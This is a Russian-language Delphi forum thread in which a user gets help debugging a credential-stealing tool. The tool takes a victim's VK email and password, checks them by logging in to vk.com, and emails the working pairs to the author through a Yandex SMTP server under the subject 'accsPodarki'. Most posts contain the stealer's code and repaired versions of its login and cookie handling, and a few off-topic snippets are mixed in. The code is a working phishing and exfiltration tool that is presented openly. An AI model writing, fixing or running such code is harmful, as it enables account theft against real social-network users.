На строках Code: Form1.IdCookieManager1.AddCookies('remixsid='+s+ '; path=/; ','vk.com'); Form1.IdCookieManager1.AddCookies('remixchk=5; path=/;','vk.com'); Вываливаются ошибки Что это может быть? Если сделать вот так Code: Form1.IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com'); Form1.IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com'); То ошибки такие :
Хех ооочень имхо тупой вариант. Code: var Form6: TForm6; i: Integer; j: Integer; implementation {$R *.dfm} procedure TForm6.Button1Click(Sender: TObject); begin I:= StrToInt(Edit1.Text); end; procedure TForm6.Timer1Timer(Sender: TObject); begin j:=i; end; procedure TForm6.Timer2Timer(Sender: TObject); begin if i<>j then ShowMessage(''); end; end. Но работает))
stepashka_ что у тебя за Indy такая? в хелпе: PHP: procedure AddCookie( ACookie: String, AHost: String ); procedure AddCookie2( ACookie: String, AHost: String ); т.е. AddCookies в хелпе нету, а AddCookie есть и принимает 2 строки как и должно быть, и по идее твой код должен компилироваться
10 Нифига не хочет ps. Попробовал убрать Code: Form1.IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com'); Form1.IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com'); На мыло приходят и валидные и не валидные акки( Помогите а..
stepashka_ у тебя наверное какой-то патченный куки-менеджер либо меняй инди либо показывай интерфейс класса TIdCookieManager PS перенеси на своем форуме раздел про ассемблер из раздела скриптовых языков
Вот моя инди http://forum.stepashka-blog.ru/IndyTiburon.zip Версия 10.5.8.0 http://forum.stepashka-blog.ru/IdCookieManager.pas
stepashka_ пробуй так: var uri: TIdURI; begin uri := TIdURI.Create('http://vk.com'); Form1.IdCookieManager1.AddServerCookie('remixsid='+s, uri); Form1.IdCookieManager1.AddServerCookie('remixchk=5', uri); uri.Free; Indy давно не использую, но вроде так должно быть судя по классам
такая картина: длл-ка подгружается в несколько процессов, надо как-то передать данные длл в нужный процесс.. как такое реализовать?
Подскажите где тут в коде ошибка? При вводе валидного/не валидного акка пишет Не верный пароль. Code: function check(): boolean; var uri: TIdUri; s : string; begin Result:=False; Form1.idhttp1.HandleRedirects := True; uns:=Form1.idhttp1.get('http://login.vk.com/?act=login&email='+edit1+'&pass='+edit2+'&expire=&vk='); s:=Copy(uns,Pos('value=',uns)+7,56); uri := TIdURI.Create('http://vk.com'); Form1.IdCookieManager1.AddServerCookie('remixsid=' +s, uri); Form1.IdCookieManager1.AddServerCookie('remixchk=5 ', uri); uri.Free; Result := pos('выйти', uns) > 0; end; procedure TForm1.SpeedButton1Click(Sender: TObject); begin if check then begin IdSMTP1.Host:='smtp.yandex.ru'; IdSMTP1.Port:=25; IdSMTP1.Username:='login'; IdSMTP1.Password:='password'; IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text; IdMessage1.From.Text:='[email protected]'; IdMessage1.Recipients.EMailAddresses:='[email protected]'; IdMessage1.Subject:='accsPodarki'; IdSMTP1.Connect(); if IdSMTP1.Connected=true then IdSMTP1.Send(IdMessage1); IdSMTP1.Disconnect end else showmessage('Не верный пароль.') end; За помощь награжу ++
stepashka_, быдло код жестокий... Исправленный вариант функции check(): Code: function check(): boolean; var //uri: TIdUri; //s : String; uns: String; TempStr: String; begin Result:=False; Form1.idhttp1.HandleRedirects := True; uns:=Form1.idhttp1.get('http://login.vk.com/?act=login&email='+Edit1+'&pass='+Edit2+'&expire=&vk='); //s:=Copy(uns,Pos('value=',uns)+7,56); //uri := TIdURI.Create('http://vk.com'); //Form1.IdCookieManager1.AddServerCookie('remixsid=' +s, uri); //Form1.IdCookieManager1.AddServerCookie('remixchk=5 ', uri); //uri.Free; Delete(uns, 1, pos('''s''', uns) + 2); Delete(uns, 1, pos('''', uns)); TempStr := copy(uns, 1, pos('''', uns) - 1); Form1.idhttp1.Request.CustomHeaders.Add('Cookie: remixchk=5; remixsid=' + TempStr); uns := Form1.idhttp1.Get('http://vkontakte.ru/profile.php'); Result := pos('/editProfile.php?act=general', uns) > 0; end;
Я когда-то делал с помощью TStringGrid Правда улучшенную версию с центрированием, выбором цвета и прочим. Нашел где-то в сети его.. Но лучше наверное самому это отрисовывать..
stepashka_ а что сниффер показывает? может проверка Result := pos('/editProfile.php?act=general', uns) > 0; не срабатывает, а может вообще авторизация не проходит
У меня все работает. И вообще такая запись у тебя, что можно только догадываться о том, что делают переменные: Лучше выложи полный код, или нормально оформи.
Code: var Form1: TForm1; uns, edit1, edit2 : string; implementation {$R *.dfm} function check(): boolean; var uri: TIdUri; s : String; uns: String; TempStr: String; begin Result:=False; Form1.idhttp1.HandleRedirects := True; uns:=Form1.idhttp1.get('http://login.vk.com/?act=login&email='+Edit1+'&pass='+Edit2+'&expire=&vk='); s:=Copy(uns,Pos('value=',uns)+7,56); uri := TIdURI.Create('http://vk.com'); Form1.IdCookieManager1.AddServerCookie('remixsid=' +s, uri); Form1.IdCookieManager1.AddServerCookie('remixchk=5 ', uri); uri.Free; Delete(uns, 1, pos('''s''', uns) + 2); Delete(uns, 1, pos('''', uns)); TempStr := copy(uns, 1, pos('''', uns) - 1); Form1.idhttp1.Request.CustomHeaders.Add('Cookie: remixchk=5; remixsid=' + TempStr); uns := Form1.idhttp1.Get('http://vkontakte.ru/profile.php'); Result := pos('/editProfile.php?act=general', uns) > 0; end; procedure TForm1.SpeedButton1Click(Sender: TObject); begin if check then begin IdSMTP1.Host:='smtp.yandex.ru'; IdSMTP1.Port:=25; IdSMTP1.Username:='login'; IdSMTP1.Password:='pass'; IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text; IdMessage1.From.Text:='[email protected]'; IdMessage1.Recipients.EMailAddresses:='[email protected]'; IdMessage1.Subject:='accsPodarki'; IdSMTP1.Connect(); if IdSMTP1.Connected=true then IdSMTP1.Send(IdMessage1); IdSMTP1.Disconnect end else showmessage('Не верный пароль.') end; end.